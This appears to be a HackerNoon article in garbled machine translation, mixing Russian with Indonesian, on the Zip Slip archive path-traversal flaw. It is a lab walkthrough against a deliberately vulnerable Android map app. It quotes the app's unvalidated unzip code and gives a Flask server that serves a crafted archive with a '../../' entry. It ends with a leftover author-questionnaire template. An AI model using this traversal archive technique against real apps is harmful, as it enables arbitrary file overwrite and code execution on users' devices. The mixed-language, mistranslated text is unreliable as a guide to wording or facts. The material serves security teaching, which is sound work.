paint-brush
Ранее нераскрытая уязвимость позволила хакерам взломать миллионы систем с помощью невинных на вид файловк@psychopper
338 чтения
338 чтения

Ранее нераскрытая уязвимость позволила хакерам взломать миллионы систем с помощью невинных на вид файлов

к Fikri Azhar13m2025/01/28
Read on Terminal Reader

Слишком долго; Читать

Zip Slip — это серьезная уязвимость, широко распространенная в процессе извлечения архивов. Уязвимость была обнаружена и ответственно раскрыта командой Snyk Security до того, как она была обнародована 5 июня 2018 года. Проблема затрагивает тысячи проектов, включая проекты, принадлежащие таким крупным компаниям, как HP, Amazon, Apache, Pivotal и многим другим.
featured image - Ранее нераскрытая уязвимость позволила хакерам взломать миллионы систем с помощью невинных на вид файлов
Fikri Azhar HackerNoon profile picture
0-item



Что такое уязвимость ZIP SLIP?

Zip Slip — это серьезная уязвимость, широко распространенная в процессе извлечения архивов, позволяющая злоумышленникам записывать любые файлы в систему. Обычно это приводит к RCE (удаленному выполнению кода) . Уязвимость была обнаружена и ответственно раскрыта командой Snyk Security до того, как она была обнародована 5 июня 2018 года. Проблема затрагивает тысячи проектов, включая проекты, принадлежащие таким крупным компаниям, как HP, Amazon, Apache, Pivotal и многим другим.


Zip Slip эксплуатируется через специально созданные архивы с именами файлов, включающими обход каталога (eg, ../../evil.sh) . Эта уязвимость может возникнуть во многих форматах архивов, таких как tar, ghz, jar, war, cpio, apk, rar и 7z.


Суть этой уязвимости заключается в обходе каталога, когда злоумышленник может получить доступ к частям системных файлов за пределами целевой папки. Затем злоумышленник может переопределить исполняемый файл и запустить его удаленно или дождаться, пока система или пользователь вызовут файл, чтобы они могли запустить команды на машине жертвы. Кроме того, эта уязвимость может также нанести ущерб путем перезаписи файлов конфигурации или других конфиденциальных ресурсов и может эксплуатироваться как на машине пользователя, так и на сервере.


Как использовать почтовый индекс

Kali ini untuk mempelajari cara эксплуатировать уязвимость ZIP Slip Nya memakai aplikasi android yang sengaja rentan dibuat untuk praktikum ini.


Это отдельное приложение Google Maps позволяет использовать местные карты, доступные для скачивания.


Используйте этот набор для анализа Flow, используя APK-файл Burpsuite. Untuk yang belum tau apk Burpsuite представляет собой приложение, которое позволяет использовать веб-приложения и мобильные приложения. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan .


Anda bisa mendownload Tools nya dengan Click Link dibawah ini:

https://portswigger.net/burp/communitydownload


Berikut adalah hasil Intercept ketika kita mau menambahkan карты ня, дан биса ди анализ калау apk ини аренда карена перминтаан API нья масих мемакай протокол HTTP tidak menggunakan HTTPS ян димана мемунгкинкан Злоумышленник tidak hanya bisa melihat Traffic yang di kirim dan diterima,Tetapi juga bisa манипулировать/мемодифицировать запрос и ответ в виде открытого текста.


Факты нья бахва кетика масих мемакаи HTTP dapat membuka seluruh area permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini.



Используйте инструменты JADX для создания обратного инжиниринга, а также для создания статического анализа, который поможет вам использовать приложения, которые помогут вам создать структуру и логику приложений.


Выполните анализ файла network_security_config.xml с помощью приложения для настройки cleartextTrafficPermitted="true" . Настройка конфигурации в виде открытого текстового трафика позволяет настроить доступ к домену. Тетапи апака домена ini benar-benar digunakan для CleartextTraffic краткий. Bisa Saja ini Dibuat Hanya Untuk Pengujian / Tidak Diunakan Dalam Production.



ini adalah Hasil intercept ketika kita menзагрузить карты ня янь dimana Dia mengambil файл ZIP в формате .ghz





Dan mencoba menзагрузите файл .ghz secara, руководство по эксплуатации ноутбука. Берикут Адала isi файл ZIP краткий.


Untuk mengetahui lokasi data yang di unzip oleh aplikasi kita bisa Gunakan команда find / | grep australia oceania_nauru.map di adb Shell Mobile Emulator Nya dan Pastikan Juga Kalau Kita sudah memiliki akses root di emulatornya.





Bisa dilihat kalau path file yang di unzip ada di:

/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/

Ini juga mennjukkan kepada kita bahwa aplikasi benar-benar meng-unzip filemap nya.





Этап анализа уязвимости


Мари кита лихат лебих декат пада произвольный файл для записи уязвимостей в приложении, Seperti yang sudah kita ketahui Issue ня terkait с обработкой ZIP-карт. Выполните статический анализ с ключевым словом « ZipEntry », агаром, «менгетахуи», кодом ня, «дескриптор файла», ZIP-картой.



Если вам нужен анализ кода, вы можете использовать его, чтобы получить доступ к команде, чтобы использовать код, который вы можете использовать, чтобы взять напрокат. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability

Пенджеласан:

Код berikut rentan terhadap serangan ziplip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. В этом случае e.getName() позволяет изменить имя файла с соответствующим значением, отдельно ../../malicious.sh . В первом файле вы найдете краткий список destinationDir .

 InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));

Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Вкратце, меню содержит отдельные директории корневой системы atau, которые находятся в одном месте, где есть отдельные приложения, и это будет очень удобно.


Карена Кита sudah mengetahui код янг рентан сесуай пандуан мари кита код анализа в apk ня:

Путь Пембуатан Танпа Валидаси:

 String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();

В этом случае необходимо открыть файл ( str3 ) с указанием пути к директории ( file.getAbsolutePath() ) с именем записи zip ( nextEntry.getName() ). Таким образом, nextEntry.getName() должен указать путь к элементу, выбранный ../../ , и янь dapat menyebabkan файл, включающий в себя список директорий ян dimaksud ( file ).

Установить путь к файлу, а директорию файла — указать:

 if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }

Ini membuat atau menulis file tanpa memastikan bahwa str3 adalah jalur yang aman.




Стадия эксплуатации

Untuk di tahap inisaya menyapkan 2 hal для окружающей среды:

  1. Настройка динамической среды HTTP Mocking Environment : расширение HTTP Mock dari burpsuite ini dapat mengubah response asli dari aplikasinya dengan mencocokkan Rules yang sudah kita kirimkan dari http history maupun input manual . Если вы хотите получить ответ в режиме реального времени или получить ответ в режиме HTTP Mock, выберите URL-адрес.


2. Настройка среды локального сервера : Карена устанавливает запрос на перенаправление вредоносного локального сервера с помощью вредоносного почтового индекса ня:

 from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)













Как вы попали в сферу кибербезопасности?

Почему вы являетесь экспертом в области цифровой безопасности?

Какова ваша экспертиза в этой области?

Киберпреступность постоянно развивается. Что нового в мире киберпреступности, о чем сообщество HackerNoon могло бы узнать в борьбе с цифровыми мошенниками?

Существуют ли какие-либо новые тенденции или угрозы в сфере кибербезопасности, на которые читателям следует обратить внимание?

Трояны, вредоносные программы, шпионское ПО и многое другое. Что нового о последних ошибках, которые могут заражать наши любимые ПК и красть нашу информацию? Но это еще не все; дайте нам знать, какие еще киберзлы существуют!

Как вы обеспечиваете свою безопасность в Интернете?

Как вы ориентируетесь в новых технологиях с уязвимостями? Умные дома, ИИ и Интернет вещей имеют свои уязвимости.

Дополнительные мысли


Заключение


Пожалуйста, убедитесь, что вы удалили всю информацию выше, прежде чем писать и отправлять свой черновик. Спасибо!